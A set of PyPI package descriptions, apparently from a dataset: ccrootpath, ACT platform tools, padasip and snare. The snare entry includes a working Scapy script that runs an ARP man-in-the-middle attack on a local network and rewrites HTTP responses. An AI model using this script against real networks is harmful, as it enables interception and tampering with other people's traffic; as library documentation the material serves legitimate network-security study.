semvec/pypi-packages huggingface dataset:
ccrootpath 1.2
Set project root path for importing local modules
License: MIT

Import project root path to `sys.path` for import local files.  

# Intro

If you have a project with the following structure:  

```
| - my_proj
|
| - my_proj / config / models / account_model.py (class AccountModel)
|
| - my_proj / transaction / checker.py (class Checker)

```

Use ccrootpath to simplize your `import` for local file importing:  

```
import ccrootpath
PROJECT_DIR = ccrootpath.set_project_root_path(__file__, 'my_proj')
from config.models.account_model import AccountModel
from transaction.checker import Checker
```

# How to install

```
pip3 install ccrootpath --upgrade --user
```
act-utils 2.1.0
ACT utilities
License: MIT
Requires Python: >=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, <4
Keywords: ACT,mnemonic

# ACT Utilities

## Introduction

This repository contains utility scripts for the [ACT Platform](https://github.com/mnemonic-no/act-platform).

## Installation
1. This project requires that you have a running installation of the [act-platform](https://github.com/mnemonic-no/act-platform).
2. Install from pip
```bash
pip install act-utils
```

## act-graph-datamodel usage

Build a graph (graphviz) of the ACT data model.
```bash
act-graph-datamodel --help
usage: act-graph-datamodel [-h] [--uid UID] [--http_username HTTP_USERNAME]
                           [--http_password HTTP_PASSWORD]
                           [--parent_id PARENT_ID]
                           [--confluence_url CONFLUENCE_URL]
                           [--confluence_user CONFLUENCE_USER]
                           [--confluence_password CONFLUENCE_PASSWORD]
                           url
```

# Local development

Use pip to install in [local development mode](https://pip.pypa.io/en/stable/reference/pip_install/#editable-installs). act-utils (and act-api) uses namespacing, so it is not compatible with using `setup.py install` or `setup.py develop`.

In repository, run:

```bash
pip3 install --user -e .
```
act-admin 2.1.0
ACT admin tools
License: MIT
Requires Python: >=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, <4
Keywords: ACT,mnemonic

# ACT Admin

## Introduction

This package should only be used with act-api, act-workers, act-types at version 2.x.x.

This package contains management utilities for the [ACT Platform](https://github.com/mnemonic-no/act-platform).

# Changelog

## 2.1.0

* Support for `indexOption` for Daily/TimeGlobal indices in the platform. Use `--no-index-option` as argument to `act-types` to bootstrap legacay platforms without this feature.

## Installation
1. This project requires that you have a running installation of the [act-platform](https://github.com/mnemonic-no/act-platform).
2. Install from pip
```bash
pip install act-admin
```

## act-origin [usage](usage)

```bash
$ act-origin --act-baseurl <BASEURL> --user-id <USERID> --add
Origin name: myorigin
Origin description: My Test Origin
Origin trust (float 0.0-1.0. Default=0.8):
Origin organization (UUID):
[2019-11-11 10:46:22] app=origin-client level=INFO msg=Created origin: myorigin
Origin added:
Origin(name='myorigin', id='e5a9792e-78c7-4190-9275-27616be47ca8', organization=Organization(), description='My Test Origin', trust=0.8)
```

## act-types usage
To bootstrap the type system with default types (userid/act-baseurl must point to ACT installation):
```
act-types \
    --user-id 1 \
    --act-baseurl http://localhost:8888 \
    --loglevel ERROR \
    --default-object-types \
    --default-fact-types \
    --default-meta-fact-types \
    --add
```

It is safe to rerun the command above, after new types have been added to the data model.

You can also add types from your own files, using --object-types-file, --fact-types-file and --meta-fact-types-file that points to a json file on the same format as the [default types](https://github.com/mnemonic-no/act-types/tree/master/act/types/etc).

To show default types (replace with fact/meta-fact for other types):
```bash
act-types --default-object-types list
```

# Local development

Use pip to install in [local development mode](https://pip.pypa.io/en/stable/reference/pip_install/#editable-installs). act-types (and act-api) uses namespacing, so it is not compatible with using `setup.py install` or `setup.py develop`.

In repository, run:

```bash
pip3 install --user -e .
```

It is also necessary to install in local development mode to correctly resolve the files that are read by the `--default-*` options when doing local changes. These are read from etc under act.types and if the package is installed with "pip install act-types" it will always read the files from the installed package, even though you do changes in a local checked out repository.
padasip 1.2.2
Python Adaptive Signal Processing
License: MIT
Keywords: signal-processing,adaptive filters

This library is designed to simplify adaptive signal
processing tasks within python
(filtering, prediction, reconstruction).
For code optimisation, this library uses numpy for array operations.

Also in this library is presented some new methods for adaptive signal processing.
The library is designed to be used with datasets and also with
real-time measuring (sample-after-sample feeding).

============================
Tutorials and Documentation
============================

Everything is on github:

http://matousc89.github.io/padasip/

================
Current Features
================

********************
Data Preprocessing
********************

- Principal Component Analysis (PCA)

- Linear Discriminant Analysis (LDA)

******************
Adaptive Filters
******************

The library features multiple adaptive filters. Input vectors for filters can be
constructed manually or with the assistance of included functions.
So far it is possible to use following filters:

- LMS (least-mean-squares) adaptive filter

- NLMS (normalized least-mean-squares) adaptive filter

- LMF (least-mean-fourth) adaptive filter

- NLMF (normalized least-mean-fourth) adaptive filter

- SSLMS (sign-sign least-mean-squares) adaptive filter

- NSSLMS (normalized sign-sign least-mean-squares) adaptive filter

- RLS (recursive-least-squares) adaptive filter

- GNGD (generalized normalized gradient descent) adaptive filter

- AP (affine projection) adaptive filter

- GMCC (generalized maximum correntropy criterion) adaptive filter

- OCNLMS (online centered normalized least-mean-squares) adaptive filter

- Llncosh (least lncosh) adaptive filter

- Variable step-size least-mean-square (VSLMS) with Angâ€™s adaptation.

- Variable step-size least-mean-square (VSLMS) with Benvenisteâ€™s adaptation

- Variable step-size least-mean-square (VSLMS) with Mathewsâ€™s adaptation


******************
Detection Tools
******************

The library features two novelty/outlier detection tools

- Error and Learning Based Novelty Detection (ELBND)

- Learning Entropy (LE)

- Extreme Seeking Entropy (ESE)
snare 0.2.8
Network capture and manipulation module
License: MIT
Requires Python: >=3

snare
=====
**Capture and manipulate traffic off the network**

Snare provides a Sniffer class and a few "modules" which can be assembled to form attack tools.
These classes are based on Scapy and provide a convenient way to interact with and compose tools from it's functionality.

The advanced functions such as ARP poisoning, packet forwarding, and analysis are decomposed into modules to allow
for greater flexibility and flexibility. Look at the constructed strategies for examples of how to compose the modules.

Docs are hosted on `Read the Docs <https://network-snare.readthedocs.io/en/latest/>`_

Example
-------

Suppose you hate the string "search" and you want to MitM your local network, replacing all instances of the word in HTTP responses with the word "replace". Well the following script will do that for you!

.. code-block:: python

   import scapy.all as scapy
   import snare

   # Hello
   @snare.tcpfilter
   def inject(pkt):
     if all(layer in pkt for layer in (scapy.IP, scapy.TCP)):
         if scapy.Raw in pkt and pkt[scapy.TCP].sport == 80:

             s = b"search"
             r = b"replacement"

             raw = pkt[scapy.Raw]
             if s in raw.load:
                 raw.load = raw.load.replace(s, r)
                 print(pkt.show())
     return pkt

   sniffer = snare.Sniffer(
       iface="eth0",
       modules=[snare.ArpMitmModule(filter=inject)]
   )
   sniffer.start()
   input("Starting injection attack. Press enter to quit.")
   sniffer.stop()

Development
-----------

Testing
~~~~~~~

Tests are written in `pytest` and can be run with the `pytest` command.

.. note::
   Testing is pretty spare at the momment. In order to really test things, a testing framework that
   can feed in pcap files and evaluate the repsonse is required.

Documentation
~~~~~~~~~~~~~

Documentation can be built with Sphinx from the docs folder by running `make html`, or another target.